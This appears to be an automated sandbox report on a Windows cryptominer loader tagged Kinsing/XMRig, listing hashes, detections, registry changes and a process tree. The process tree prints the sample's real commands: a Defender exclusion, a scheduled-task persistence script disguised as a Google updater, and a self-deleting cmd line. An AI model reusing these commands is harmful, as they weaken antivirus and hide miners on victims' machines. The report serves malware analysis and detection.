kinsing | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1799s
max time network
1796s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
24-01-2024 17:15

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General

Target

grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

kinsing xmrig loader miner upx

Malware Config

Signatures

Kinsing
Kinsing is a loader written in Golang.
loader kinsing

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

Processes:

DLKFnAGYJBNTnxwq.exeupdater.execonhost.exe

description	pid	process	target process
PID 2224 created 3428	2224	DLKFnAGYJBNTnxwq.exe	Explorer.EXE
PID 2224 created 3428	2224	DLKFnAGYJBNTnxwq.exe	Explorer.EXE
PID 2224 created 3428	2224	DLKFnAGYJBNTnxwq.exe	Explorer.EXE
PID 2224 created 3428	2224	DLKFnAGYJBNTnxwq.exe	Explorer.EXE
PID 2888 created 3428	2888	updater.exe	Explorer.EXE
PID 2888 created 3428	2888	updater.exe	Explorer.EXE
PID 2888 created 3428	2888	updater.exe	Explorer.EXE
PID 4680 created 3428	4680	conhost.exe	Explorer.EXE
PID 2888 created 3428	2888	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

Processes:

resource	yara_rule
behavioral10/memory/3424-125-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-127-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-131-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-133-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-137-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-139-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-141-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-143-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-145-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-147-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-149-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-151-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-153-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-155-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-157-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-159-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-161-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-163-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-165-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-167-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-169-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-171-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-173-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-175-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-177-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-179-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-181-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-183-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig
behavioral10/memory/3424-185-0x00007FF627240000-0x00007FF627A34000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2888 updater.exe

pid	process
2888	updater.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral10/memory/3424-118-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-125-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-127-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-131-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-133-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-137-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-139-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-141-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-143-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-145-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-147-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-149-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-151-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-153-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-155-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-157-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-159-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-161-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-163-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-165-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-167-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-169-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-171-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-173-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-175-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-177-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-179-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-181-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-183-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx
behavioral10/memory/3424-185-0x00007FF627240000-0x00007FF627A34000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2888 set thread context of 4680	2888	updater.exe	conhost.exe
PID 2888 set thread context of 3424	2888	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

DLKFnAGYJBNTnxwq.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	DLKFnAGYJBNTnxwq.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

3168 WMIC.exe

pid	process
3168	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

Processes:

DLKFnAGYJBNTnxwq.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
2224	DLKFnAGYJBNTnxwq.exe
2224	DLKFnAGYJBNTnxwq.exe
1632	powershell.exe
1632	powershell.exe
2224	DLKFnAGYJBNTnxwq.exe
2224	DLKFnAGYJBNTnxwq.exe
2912	powershell.exe
2912	powershell.exe
2224	DLKFnAGYJBNTnxwq.exe
2224	DLKFnAGYJBNTnxwq.exe
2224	DLKFnAGYJBNTnxwq.exe
2224	DLKFnAGYJBNTnxwq.exe
4268	powershell.exe
4268	powershell.exe
4268	powershell.exe
2888	updater.exe
2888	updater.exe
4924	powershell.exe
4924	powershell.exe
2888	updater.exe
2888	updater.exe
2008	powershell.exe
2008	powershell.exe
2888	updater.exe
2888	updater.exe
2888	updater.exe
2888	updater.exe
4680	conhost.exe
4680	conhost.exe
2888	updater.exe
2888	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeIncreaseQuotaPrivilege	2912	powershell.exe
Token: SeSecurityPrivilege	2912	powershell.exe
Token: SeTakeOwnershipPrivilege	2912	powershell.exe
Token: SeLoadDriverPrivilege	2912	powershell.exe
Token: SeSystemProfilePrivilege	2912	powershell.exe
Token: SeSystemtimePrivilege	2912	powershell.exe
Token: SeProfSingleProcessPrivilege	2912	powershell.exe
Token: SeIncBasePriorityPrivilege	2912	powershell.exe
Token: SeCreatePagefilePrivilege	2912	powershell.exe
Token: SeBackupPrivilege	2912	powershell.exe
Token: SeRestorePrivilege	2912	powershell.exe
Token: SeShutdownPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeSystemEnvironmentPrivilege	2912	powershell.exe
Token: SeRemoteShutdownPrivilege	2912	powershell.exe
Token: SeUndockPrivilege	2912	powershell.exe
Token: SeManageVolumePrivilege	2912	powershell.exe
Token: 33	2912	powershell.exe
Token: 34	2912	powershell.exe
Token: 35	2912	powershell.exe
Token: 36	2912	powershell.exe
Token: SeIncreaseQuotaPrivilege	2912	powershell.exe
Token: SeSecurityPrivilege	2912	powershell.exe
Token: SeTakeOwnershipPrivilege	2912	powershell.exe
Token: SeLoadDriverPrivilege	2912	powershell.exe
Token: SeSystemProfilePrivilege	2912	powershell.exe
Token: SeSystemtimePrivilege	2912	powershell.exe
Token: SeProfSingleProcessPrivilege	2912	powershell.exe
Token: SeIncBasePriorityPrivilege	2912	powershell.exe
Token: SeCreatePagefilePrivilege	2912	powershell.exe
Token: SeBackupPrivilege	2912	powershell.exe
Token: SeRestorePrivilege	2912	powershell.exe
Token: SeShutdownPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeSystemEnvironmentPrivilege	2912	powershell.exe
Token: SeRemoteShutdownPrivilege	2912	powershell.exe
Token: SeUndockPrivilege	2912	powershell.exe
Token: SeManageVolumePrivilege	2912	powershell.exe
Token: 33	2912	powershell.exe
Token: 34	2912	powershell.exe
Token: 35	2912	powershell.exe
Token: 36	2912	powershell.exe
Token: SeIncreaseQuotaPrivilege	2912	powershell.exe
Token: SeSecurityPrivilege	2912	powershell.exe
Token: SeTakeOwnershipPrivilege	2912	powershell.exe
Token: SeLoadDriverPrivilege	2912	powershell.exe
Token: SeSystemProfilePrivilege	2912	powershell.exe
Token: SeSystemtimePrivilege	2912	powershell.exe
Token: SeProfSingleProcessPrivilege	2912	powershell.exe
Token: SeIncBasePriorityPrivilege	2912	powershell.exe
Token: SeCreatePagefilePrivilege	2912	powershell.exe
Token: SeBackupPrivilege	2912	powershell.exe
Token: SeRestorePrivilege	2912	powershell.exe
Token: SeShutdownPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeSystemEnvironmentPrivilege	2912	powershell.exe
Token: SeRemoteShutdownPrivilege	2912	powershell.exe
Token: SeUndockPrivilege	2912	powershell.exe
Token: SeManageVolumePrivilege	2912	powershell.exe
Token: 33	2912	powershell.exe
Token: 34	2912	powershell.exe
Token: 35	2912	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 3188 wrote to memory of 432	3188	cmd.exe	choice.exe
PID 3188 wrote to memory of 432	3188	cmd.exe	choice.exe
PID 4268 wrote to memory of 3716	4268	powershell.exe	schtasks.exe
PID 4268 wrote to memory of 3716	4268	powershell.exe	schtasks.exe
PID 2888 wrote to memory of 4680	2888	updater.exe	conhost.exe
PID 2648 wrote to memory of 3168	2648	cmd.exe	WMIC.exe
PID 2648 wrote to memory of 3168	2648	cmd.exe	WMIC.exe
PID 2888 wrote to memory of 3424	2888	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3428

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2912

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:3188

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4268

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:3716

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2008

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
PID:3424

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2648

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4680

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2888

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:3388

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:3168

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
569KB

MD5
92b448265e92d579aa5944702cc49663

SHA1
03090e60ce1dec3e6f84da91b637b2f1e9bf55b2

SHA256
252c5b5f0b6afb94e2cde61795289fd8a680dec3794a7f24551149a3d1366688

SHA512
236eff724f3a63a4f3b93035f9761a43ceac69f191633096faf41beba3b552e1aaf6893560698954b033c908ae707b931ecca9dc236866c2f40154385ea51ba8

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
318KB

MD5
d553769caf4bf5a9a76521410abe90d6

SHA1
469fae6e214d81854e1e67594334632ecb8e28d8

SHA256
06b9c052400f02b7b3d05afcec64cf9e0130bffc98e93992feef780146a2c8e9

SHA512
23d370e2beef31c5dcf79b031089c1a6d4f1b7f5338619690285cf38e8986d6e336c8073e19a051fb7a5136d2234c3a9b0e107fd2aad2415c151ff0b207fde7d

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
